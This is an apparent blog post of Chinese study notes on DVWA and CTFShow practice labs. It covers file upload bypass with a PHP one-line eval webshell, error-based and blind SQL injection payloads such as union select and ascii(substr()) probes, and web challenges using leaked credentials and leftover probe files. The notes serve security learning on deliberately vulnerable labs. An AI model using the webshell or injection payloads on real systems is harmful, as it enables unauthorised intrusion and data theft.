寒假学习笔记3

File Upload(文件上传)

先来学习一下一句话木马的原理!!!

原理:我一句话木马用我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

例如:

<?php @eval($_POST['a']);?>

其中 eval 就是执行命令的函数,$_POST['a'] 就是接收的数据。 eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。

Medium

上传一句话木马 发现要求文件类型只能为jepg和png 

做法:

1.上传一句话木马并抓包

此时我们可以修改文件类型为“image/png”,然后放包

显示成功上传 

 用蚁剑进行链接,显示连接成功 

方法:通过修改 http 报文可以通过网页的白名单检测

SQL Injection(SQL注入)

概念:

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。

手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

字符型注入与数字型注入的区别

字符型注入:字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。

数字型注入:

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’

数字型注入原型查询语句:

select * from xxx where id=.$_GET[id]

字符型注入原型查询语句

select * from xxx where id=."'$_GET[id]'"

Low

代码审计

 对参数没有进行任何的过滤,分析语句,可能存在字符型注入

 步骤:

1.判断注入类型

可以判断为字符型注入 一定要加单引号

2.猜测查询语句中的字段数

1' order by 2#

 1' order by 3#

可以确定,SQL语句查询的表的字段数是2

3.确定SQL语句查询之后的回显位置 

1' union select 1,2#

有两个回显

4.查询当前的数据库以及版本

1' union select version(),database()#

5.查询字段中的数据

Medium

代码审计

可以发现加入了一些防御,不让用户输入,只提供选择

可以用burpsuit抓包来绕过

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

 通过分析源码也可以看出可能存在数字型注入

可以用hackbar尝试一下

也可以用burpsuit抓包,修改数据包,绕过防御

 发送到Repeater板块,判断注入类型

 查询字段数

剩下的语句和low级别一样

SQL Ingection(Blind)

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,

步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

 Low

布尔盲注

输入1' and 1=1 #,显示存在

 所以存在字符型注入

猜解数据库名 

输入1’ and length(database())=4 # 

说明长度为4

然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:

1’ and ascii(substr(databse(),1,1))=100 #

第一个字母的ascll码是100,也是d,以此类推得出数据库名为dvwa

猜解表名 

输入1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

说明有 两个表

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在,说明第一个表的长度是9.

 

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #显示存在,说明第一个字母是g。

 

再重复步骤猜解,即可猜解出两个表名(guestbook、users)。

然后再继续猜解字段名和字段中的数据

CTFShow

Web12

有时候网站上的公开信息,就是管理员常用密码

步骤:

先利用robots协议查询到用户名为admin

 得到账号密码

WEB 13 

题目:技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

 在文档中发现后他地址和账号密码

登陆成功得到flag

WEB 15

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

在首页下面发现了邮箱

查询QQ

 

访问url/admiin访问后台系统

 点击忘记密码

刚才搜索得到地址是在陕西西安

 得到密码

重新访问 输入账号密码 得到flag‘

WEB 16 

题目:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

访问url/t.php

 在页面中搜索flag 得到flag 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值